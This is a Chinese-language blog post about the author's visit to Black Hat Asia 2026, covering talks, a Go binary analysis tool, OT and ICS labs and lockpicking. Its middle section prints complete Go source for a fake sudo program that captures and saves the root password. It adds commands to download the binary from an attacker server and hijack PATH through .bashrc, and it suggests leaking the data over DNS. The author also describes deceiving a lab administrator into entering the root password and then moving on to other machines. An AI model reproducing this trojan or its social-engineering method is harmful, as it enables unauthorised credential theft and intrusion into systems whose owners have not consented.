欢迎光临
我们一直在努力

在BlackHat 2026大会中社会工程官方实验员

序言

从去年开始,我离开了大约六个月。在此期间,发生了许多意想不到且无法控制的事件。

由于项目仓库的大规模滥用,不同地区的相关部门采取了账户执法行动,许多研究档案和项目资料被删除。因此,大量研究工作丧失。

幸运的是,我的博客幸存下来,至今仍然可用。

在这里插入图片描述
今年,我有幸受邀参加四月在新加坡举办的 Black Hat 大会。

BlackHat 2026 Asia

在这里插入图片描述
我匆匆坐地铁赶过去,顺手买了杯咖啡,然后直接来领取我的警徽。工作人员在开始和结束班次时都非常准时,所以我不想迟到。

在这里插入图片描述
在这里插入图片描述

说实话,这里的安保人员非常谨慎…

在这里插入图片描述
在这里,你需要自己选择感兴趣的主题,因为有些讲座是并行进行的。例如,你可以先筛选与物联网或 OT 安全相关的会话,然后据此制定自己的时间表——这大大提高了效率。

主题演讲是亮点,绝对值得参加,不容错过。

在这里插入图片描述

讨论&&武器库

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

每场通常有两到三位演讲嘉宾。如果不明白内容,可以在问答环节提问,或者在问答结束后主动联系演讲者获取联系方式。一般来说,大多数参与者先看表面,如果内容有趣再深入。

对我来说最令人印象深刻的是《佐里亚》。它不依赖源代码、日志或运行时分析——而是直接分析 Go 二进制文件和匹配行为模式,以检测竞态条件、空指针去引用、整数溢出和未处理的紧急状态等问题。

在现实世界的 OT 环境中,许多系统——如数据采集管道或 AGV——实际上是通过 Go 实现的数据处理。如果关键组件存在竞赛条件,攻击者可能会修改或删除重要参数。

Zorya 之所以有趣,是因为它巧妙地采用了写时复制和分层状态管理机制,只复制沿特定执行分支变化的数据,从而大幅降低内存占用和计算开销。

乍一看有点复杂…

// Logic pseudocode
// zorya
func main() {
// original data
name := "Martin"
score := 100
age := 25
if condition1 {
// Branch A
name = "Ros"
} else if condition2 {
// Branch B
score = 200
} else {
// Branch C
age = 30
}
}
Final result:
Ros | 100 | 25
Martin | 200 | 25
Martin | 200 | 30
// ordinary tool
func main() {
// original data
name := "Martin"
score := 100
age := 25
// full copy of Branch A
nameA := name
scoreA := score
ageA := age
// full copy of Branch B
nameB := name
scoreB := score
ageB := age
// full copy of Branch C
nameC := name
scoreC := score
ageC := age
if condition1 {
nameA = "Ros"
} else if condition2 {
scoreB = 200
} else {
ageC = 30
}
}
Final result:
Ros | 100 | 25
Martin | 200 | 25
Martin | 200 | 30

实验室:SpaceCan 注入

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

实验室:水处理厂入侵与彩蛋

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
你可以在这里查看。
https://s34s0n.github.io/sysrupt-portable-ot-range/

总体来说,体验相当不错。不幸的是,在第九个挑战时,实验室工作人员直接切断了电源。说实话,挺突然的…

在这里插入图片描述
后来,在观察了不同的实验室区域后,我注意到这里的实验室工作人员似乎没有提供根证书。

之后,在参观其中一台机器时,我发现了一些有趣的发现…

在这里插入图片描述

在这里插入图片描述
首先,将你的徽章翻到胸前,因为上面包含了你的个人信息。端着一杯咖啡,慢慢走向机器,假装思考一会儿。需要做一些初步的准备…

一般来说,我们无法获得 sudo 之后使用的密码,因为它是隐藏的。不过,也可以制作一个假的 sudo 程序来捕捉密码。

在这里插入图片描述

// Steal root's password
package main
import (
"bufio"
"fmt"
"io"
"os"
"os/exec"
"strings"
"syscall"
"golang.org/x/term"
)
func getLoginName() string {
user := os.Getenv("USER")
if user == "" {
user = os.Getenv("LOGNAME")
}
if user == "" {
user = "user"
}
return user
}
const info = `usage: sudo -h | -K | -k | -V
usage: sudo -v [-ABkNnS] [-g group] [-h host] [-p prompt] [-u user]
usage: sudo -l [-ABkNnS] [-g group] [-h host] [-p prompt] [-U user]
[-u user] [command [arg …]]
usage: sudo [-ABbEHkNnPS] [-r role] [-t type] [-C num] [-D directory]
[-g group] [-h host] [-p prompt] [-R directory] [-T timeout]
[-u user] [VAR=value] [-i | -s] [command [arg …]]
usage: sudo -e [-ABkNnS] [-r role] [-t type] [-C num] [-D directory]
[-g group] [-h host] [-p prompt] [-R directory] [-T timeout]
[-u user] file …`

func saveCred(password string) {
_ = os.WriteFile("/tmp/cred.txt", []byte(password+"\\n"), 0644)
}
func rootExec(cmds []string, rootPass string) {
args := append([]string{"-S"}, cmds)
cmd := exec.Command("/usr/bin/sudo", args)
stdinPipe, _ := cmd.StdinPipe()
stdoutPipe, _ := cmd.StdoutPipe()
cmd.StderrPipe()
_ = cmd.Start()
_, _ = stdinPipe.Write([]byte(rootPass + "\\n"))
_ = stdinPipe.Close()
scanner := bufio.NewScanner(stdoutPipe)
for scanner.Scan() {
fmt.Println(strings.TrimSpace(scanner.Text()))
}
_ = cmd.Wait()
}
func main() {
cmdArgs := os.Args[1:]
if len(cmdArgs) == 0 {
fmt.Println(info)
return
}
attempts := 0
for attempts < 3 {
err := func() error {
args := append([]string{"-S"}, cmdArgs)
cmd := exec.Command("/usr/bin/sudo", args)
stdinPipe, err := cmd.StdinPipe()
if err != nil {
return err
}
stdoutPipe, err := cmd.StdoutPipe()
if err != nil {
return err
}
cmd.Stderr = cmd.Stdout
if err := cmd.Start(); err != nil {
return err
}
username := getLoginName()
fmt.Printf("[sudo] password for %s: ", username)
pwdBytes, err := term.ReadPassword(int(os.Stdin.Fd()))
fmt.Println()
if err != nil {
return err
}
pwd := string(pwdBytes)
_, err = stdinPipe.Write([]byte(pwd + "\\n"))
_ = stdinPipe.Close()
if err != nil {
if err == syscall.EPIPE {
return err
}
return err
}
output, _ := io.ReadAll(stdoutPipe)
lines := string(output)
_ = cmd.Wait()
if attempts == 2 {
fmt.Println("sudo: 3 incorrect password attempts")
} else if strings.Contains(lines, "again") {
fmt.Println("Sorry, try again.")
} else {
saveCred(pwd)
rootExec(cmdArgs, pwd)
os.Exit(0)
}
return nil
}()
if err != nil {
attempts++
continue
}
attempts++
}
}

$ go build o sudo main.go

在这里插入图片描述

$ export PATH=/home/maptnh/exp:$PATH

左边是正规的 sudo,右边是伪造版本。为了更清楚地区分,我没有加入——帮助选项来显示使用信息。

在这里插入图片描述

在其他情况下,可以上传到目标系统,等待低权限用户手动输入root密码。

# Injection
wget http://<Hacker's server>/sudo -O /tmp/sudo
echo '
export PATH=/tmp:$PATH' >> ~/.bashrc

一般不建议泄露密码。如有必要,敏感数据可以先加密,然后通过 DNS 通道传输,因为许多安全系统往往会忽略 DNS 流量。

以下演示了通过社交工程技术获取黑帽实验室管理员密码的方法。

事实上,有一种更安全的做法:提前一天将程序部署到目标机器,让用户自行向管理员请求密码。但由于时间限制,我选择直接联系管理员。

在这里插入图片描述
保持冷静…你能否成功,很大程度上取决于你的心理韧性和承受压力的能力。

我说:“看起来我的机器出了问题——它不能再执行 sudo 命令了。你能帮我看看吗?”你应保持眼神交流,避免表现出任何恐慌的迹象。你越紧张,越可能引起怀疑。

$ sudo nmap -sU -p 47808 10.0.1.20

在这里插入图片描述
幸运的是,他在终端里输入了根密码。

在这里插入图片描述
在这里插入图片描述

接下来,我们需要验证这些凭证是否可以用来访问其他机器。

幸运的是,有数百台机器似乎完全无障碍。不过,我们不应该急于求成——我们首先需要一个中间主机…

在这里插入图片描述
在这里插入图片描述

$ timeout 120 bash exp.sh;exit

在这里插入图片描述
在这里插入图片描述

DEFCON SG & HTX

在这里插入图片描述

在这里插入图片描述
现场讲座通常持续20到30分钟。如前所述,最好有选择性地选择参加哪些学校。这才是整个体验的核心。

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

你需要自带笔记本电脑以便记录关键点,因为有些会议不提供回放或演示幻灯片。内容是否公开完全取决于演讲者是否决定公开。

对我来说,最难忘的部分之一是 ICS 挑战。

在这里插入图片描述

这模拟了俄罗斯网络军入侵水处理厂,我们的目标是重新控制该系统。

在这里插入图片描述
通过搜索图片,密码可能是74455。

在这里插入图片描述

说实话,我一开始被困在这里。我一直以为这可能是某种基于图像的数字解密挑战。

俄罗斯网络军据报道涉及多起针对工业和水利基础设施的事件。2024 年 1 月,据报道黑客入侵了德克萨斯州多个城镇(如 Muleshoe)的供水系统,操纵了工业控制系统(HMI),导致水箱溢出。美国随后对该组织的关键成员实施了金融制裁。

2024年,类似事件也在法国和波兰的设施中被报告。该组织声称控制了波兰的水处理基础设施,并据称修改了法国一座水磨系统的运行参数。

他们还在 Telegram 上公开发布了受害者访问工业控制界面的屏幕录像,方式极具挑衅性。

最终,只需调整控制旋钮参数即可完成挑战。
在这里插入图片描述
开锁村整体相当硬核。我只完成了基础1到6。设置中的蓝色锁是最难对付的。

在这里插入图片描述

赞(0)
未经允许不得转载:171主机测评 » 在BlackHat 2026大会中社会工程官方实验员
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址